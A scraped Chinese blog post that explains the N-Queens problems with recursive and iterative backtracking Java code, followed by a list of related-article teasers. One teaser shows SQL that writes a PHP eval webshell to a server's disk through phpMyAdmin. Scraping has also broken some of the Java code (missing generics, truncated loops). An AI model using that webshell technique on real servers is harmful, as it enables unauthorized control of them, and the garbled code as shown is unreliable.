八皇后時間復雜度_【算法打卡】N皇后

caff2e3673d22bc13f6b5620bafc1540.png

難度:困難

題目:

????n?皇后問題研究的是如何將?n?個皇后放置在?n×n?的棋盤上,并且使皇后彼此之間不能相互攻擊。

a6b1f951c35d8db5f7fb7c506b20542e.png

????上圖為 8 皇后問題的一種解法。

????給定一個整數?n,返回?n?皇后不同的解決方案的數量。

7645eb8bd493ed36897380da3af9edd1.png

提示:

????皇后,是國際象棋中的棋子,意味著國王的妻子。皇后只做一件事,那就是“吃子”。當她遇見可以吃的棋子時,就迅速沖上去吃掉棋子。

????當然,她橫、豎、斜都可走一或 N-1 步,可進可退。(引用自?百度百科 - 皇后?)

--------------------------------------------

??? N皇后問題,經典的題目,記得大學老師很喜歡用來做教學題材,回溯法的入門經典教學用例,8皇后。

????只不過這里不是8皇后,是N個皇后,其實做法都大同小異,只不過一個是寫死8個皇后,一個是支持輸入而已。

??? N皇后問題應該有耳朵的都聽過了吧。

????就是如果當前皇后所在位置,如果上下左右外加 斜上下左右的,已經有存在皇后的話,那就是沖突,就不能放,只能找其他位置。

9a03ebbe3db2578d3914438daf28afee.png

5皇后例子

????果能找到符合需求的n個皇后都完美放在了棋盤中的話,那就是一個完美的答案,現在需要把所有的答案打印出來,皇后的位置是“Q”,其他空位置為“.”表示。

????這是回溯法的專用教學案例,當然這里也是使用回溯法。

回溯法基本思想就是:

? ??回溯法(探索與回溯法)是一種選優搜索法,又稱為試探法,按選優條件向前搜索,以達到目標。但當探索到某一步時,發現原先選擇并不優或達不到目標,就退回一步重新選擇,這種走不通就退回再走的技術為回溯法,而滿足回溯條件的某個狀態的點稱為“回溯點”。

????其實回溯法在之前的《將數組拆分成斐波那契序列》中也有用到,但是那個還不夠經典。

????歸于當前需求,并結合回溯法思想,也就是找到每行的每一個皇后在哪一列來確定他的坐標[i, j]。

????這里我按來說。

????從第一列的第一行開始,判斷之前的列有沒沖突,如果有就向下走一格,如果沒有就放下。

????繼續判斷第二列的皇后。

????。????

????當到了第n列時,如果這列的皇后放在第x行剛好和之前的沒有沖突,那就是一個答案,然后再向下找(當然已經沒有了,因為每一次到最后一列只有一個答案)。

????那最后一列的已經找到了最后一行了呢,那就來了,回溯

????退回到前一列(第n-1列),然后前一列的皇后繼續往下面的行移動,如果找到了再繼續后一列(第n列)的判斷。如果沒有就再回溯,回到了n-2列,然后同理的操作。

????當退回到第1列時,全都試探完了,那就是完了。

????這里還可以優化了一下,把二維數組換成了單維數組,i-n和a[i]分別代表行和列。

遞歸實現:

public List> solveNQueens(int n) {    List> solutions = new ArrayList>();    int[] queens = new int[n];    Arrays.fill(queens, -1);    Set columns = new HashSet();    Set diagonals1 = new HashSet();    Set diagonals2 = new HashSet();    backtrack(solutions, queens, n, 0, columns, diagonals1, diagonals2);    return solutions;}public void backtrack(List> solutions, int[] queens, int n, int row, Set columns, Set diagonals1, Set diagonals2) {    if (row == n) {        List board = generateBoard(queens, n);        solutions.add(board);    } else {        for (int i = 0; i < n; i++) {            if (columns.contains(i)) {                continue;            }            int diagonal1 = row - i;            if (diagonals1.contains(diagonal1)) {                continue;            }            int diagonal2 = row + i;            if (diagonals2.contains(diagonal2)) {                continue;            }            queens[row] = i;            columns.add(i);            diagonals1.add(diagonal1);            diagonals2.add(diagonal2);            backtrack(solutions, queens, n, row + 1, columns, diagonals1, diagonals2);            queens[row] = -1;            columns.remove(i);            diagonals1.remove(diagonal1);            diagonals2.remove(diagonal2);        }    }}public ListgenerateBoard(int[] queens, int n) {    List board = new ArrayList();    for (int i = 0; i < n; i++) {        char[] row = new char[n];        Arrays.fill(row, '.');        row[queens[i]] = 'Q';        board.add(new String(row));    }    return board;}

????時間復雜度:O(n的n次方)

????空間復雜度:O(n+x)

非遞歸實現

class Solution {    public List> solveNQueens(int n) {        List> lists = new ArrayList<>();        int i = 1;        // 用數組a存儲棋子坐標,可以理解為i代表列,a[i]代表行        int[] a = new int[n+1];        while (i > 0) {            // i為當前列,尋找前面各列與當前第i列的排斥情況,拿到的a[i]就是當前行i的合適a[i]列            for (a[i]++; a[i]<=n; a[i]++) if (check2(a, i)) break;            // 如果a[i]列小于n,則可以繼續向后找            if (a[i] <= n) {                // 如果當前行i就是第n行,則數量加1                if (i == n) {                    Listlist = new ArrayList<>();                    for (int i2 : a) {                        StringBuilder sb = new StringBuilder();                        for (int j = 0; j < n; j++) {                            if (j + 1 == i2) sb.append("Q");                            else sb.append(".");                        }                        list.add(sb.toString());                    }                    list.remove(0);                    lists.add(list);                    // 否則就是向后一列找,并且后面一列無論是有沒找過都要重置為0;                } else {                    i++;                    a[i] = 0;                }                // 否則就是回溯,回到前一列(然后繼續向下面行找)            } else {                i--;            }        }        return lists;    }    private static boolean check2(int[] a, int n) {        for (int i=1; i            if (Math.abs(a[i]-a[n])==Math.abs(i-n) || a[i]==a[n])                return false;        }        return true;    }}

????時間復雜度:O(n!)

????空間復雜度:O(n+x)

-----------------------------------未完-----------------------------------

????后面還有一個八皇后II,其實也就是大同小異,上面的是打印出棋盤,這個II就是計算個數(??這特么有啥區別?)

????所以直接貼代碼了。

遞歸實現:

public int totalNQueens(int n) {    Set columns = new HashSet();    Set diagonals1 = new HashSet();    Set diagonals2 = new HashSet();    return backtrack(n, 0, columns, diagonals1, diagonals2);}public int backtrack(int n, int row, Set columns, Set diagonals1, Set diagonals2) {    if (row == n) {        return 1;    } else {        int count = 0;        for (int i = 0; i < n; i++) {            if (columns.contains(i)) {                continue;            }            int diagonal1 = row - i;            if (diagonals1.contains(diagonal1)) {                continue;            }            int diagonal2 = row + i;            if (diagonals2.contains(diagonal2)) {                continue;            }            columns.add(i);            diagonals1.add(diagonal1);            diagonals2.add(diagonal2);            count += backtrack(n, row + 1, columns, diagonals1, diagonals2);            columns.remove(i);            diagonals1.remove(diagonal1);            diagonals2.remove(diagonal2);        }        return count;    }}

????時間復雜度:O(n的n次方)

????空間復雜度:O(n)

非遞歸實現:

public static int totalNQueens(int n) {    int count = 0, i = 1;    // 用數組a存儲棋子坐標,可以理解為i代表列,a[i]代表行    int[] a = new int[n+1];    while (i > 0) {        // i為當前列,尋找前面各列與當前第i列的排斥情況,拿到的a[i]就是當前行i的合適a[i]列        for (a[i]++; a[i]<=n; a[i]++) if (check2(a, i)) break;        // 如果a[i]列小于n,則可以繼續向后找        if (a[i] <= n) {            // 如果當前行i就是第n行,則數量加1            if (i == n) {                count++;            // 否則就是向后一列找,并且后面一列無論是有沒找過都要重置為0;            } else {                i++;                a[i] = 0;            }        // 否則就是回溯,回到前一列(然后繼續向下面行找)        } else {            i--;        }    }    return count;}private static boolean check2(int[] a, int n) {    for (int i=1; i        if (Math.abs(a[i]-a[n])==Math.abs(i-n) || a[i]==a[n])            return false;    }    return true;}

????時間復雜度:O(n!)

????空間復雜度:O(n)

????需要注意的是,遞歸的回溯法是一顆全部展開的樹,時間復雜度是N的N次方,很靈恐怖,雖然好理解,但是還是建議用迭代法。

--------------------------------------------完--------------------------------------------

當我望向你的時候,多希望你也在看著我。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373912.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373912.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373912.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Android-Binder 簡析

前言 對于Android來說&#xff0c;Binder的重要性怎么說都不為過。不管是我們的四大組件Activity、Service、BroadcastReceiver、ContentProvider&#xff0c;還是經常在應用中使用到的各種ServiceManager&#xff0c;其背后都是Binder在支撐。然而Binder機制又不是三言兩語能夠…

CSDN編程挑戰——《進制轉換》

進制轉換 題目詳情: 我們通常用的十進制數包含0-9十個數字。假設有一種進制系統包含3種數字&#xff0c;從低到高分別為"oF8”&#xff0c;那么從1到9分別表示為F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。給定一種進制的數和兩種進制的數字表&#xff0c;請把它從第一種進…

tplink 703刷固件

1.軟件下載: ImageBuilder鏈接 如果是全新刷機的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系統升級的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

編程反模式

您是否曾經進行過代碼審查&#xff0c;記錄了非常高的WTF / m&#xff1f; 您是否想知道所有這些錯誤代碼的原因是什么&#xff1f; 在大多數情況下&#xff0c;導致原因1的主要原因是使用設計和編碼反模式。 如果您喜歡定義&#xff0c;請參見以下內容&#xff1a;AntiPatter…

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數&#xff0c;這里指定k2。注意2個高斯分布具有相同均方差Sigma&#xff0c;分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…

CSDN挑戰編程——《數學問題》

數學問題 題目詳情: 給你兩個長度為n的正整數序列分別為{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 設Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi為整數&#xff0c;0<xi<1。 請你求出S的最小值。 輸入…

【P1835】小紅花

很簡單的題&#xff0c;然而我沒想到&#xff0c;在NOIP上怎么辦嘛QAQ 話說這題不知道怎么分類啊……先扔到玄學里邊把…… 原題&#xff1a; Fj在圣誕節來臨之際&#xff0c;決定給他的奶牛發一些小紅花。現在Fj一共有N頭奶牛&#xff0c;這N頭牛按照編號1..N&#xff0c;排成…

python多維數組運用_使用Python將文件讀入多維數組

If I have a text file like this:Hello WorldHow are you?Bye WorldHow would I read it into a multidimensional array like this:[["Hello", "World"],["How", "are", "you?"],["Bye" "World"]]I…

Java日志混亂

每個應用程序都需要記錄日志。 現在&#xff0c;對于在Java中確切使用什么有很多選擇。 最著名的框架是&#xff1a;log4j&#xff0c;logback&#xff0c;commons-logging&#xff0c;slf4j&#xff0c;java.util.logging。 還有更多的東西–時不時有人決定編寫自己的記錄器–…

Cocos2d-x 3.2 Lua演示樣例FontTest(字體測試)

Cocos2d-x 3.2 Lua演示樣例FontTest&#xff08;字體測試&#xff09;本篇博客介紹Cocos2d-x 3.2中Lua測試項目中的FontTest樣例&#xff0c;主要使用了字體文件來創建我們想要的字體樣式&#xff1a;第一個參數為文本。第二參數為ttf字體文件&#xff0c;第三個參數為字體大小…

CSDN挑戰編程——《絕對值最小》

絕對值最小 題目詳情: 給你一個數組A[n],請你計算出ansmin(|A[i]A[j]|)(0<i,j<n). 例如&#xff1a;A{1&#xff0c; 4&#xff0c; -3}&#xff0c; 則&#xff1a; |A[0] A[0]| |1 1| 2. |A[0] A[1]| |1 4| 5. |A[0] A[2]| |1 (-3)| 2. |A[1] A[1]| |4 …

linux上安裝memcached步驟

libevent: http://libevent.org/ 服務器端&#xff1a;https://code.google.com/archive/p/memcached/downloads 客戶端&#xff1a; http://pecl.php.net/package/memcache 和 http://pecl.php.net/package/memcached 二選一 http://chenzhou123520.iteye.com/blog/1…

IPC之SystemV

svipc - System V interprocess communication mechanisms linux實現的System V interprocess communication (IPC)機制包含消息隊列&#xff08;message queues&#xff09;&#xff0c;信號集&#xff08;semaphore sets&#xff09;&#xff0c;和共享內存&#xff08;share…

oracle create user

sqlplus /nolog conn sys/pw123456orcl as sysdba CREATE USER zengwenfeng IDENTIFIED BY zengwenfeng ; GRANT ALL PRIVILEGES TO zengwenfeng ; COMMIT; C:\Users\Administrator>sqlplus /nologSQL*Plus: Release 11.2.0.1.0 Production on 星期日 12月 24 21:38:24 20…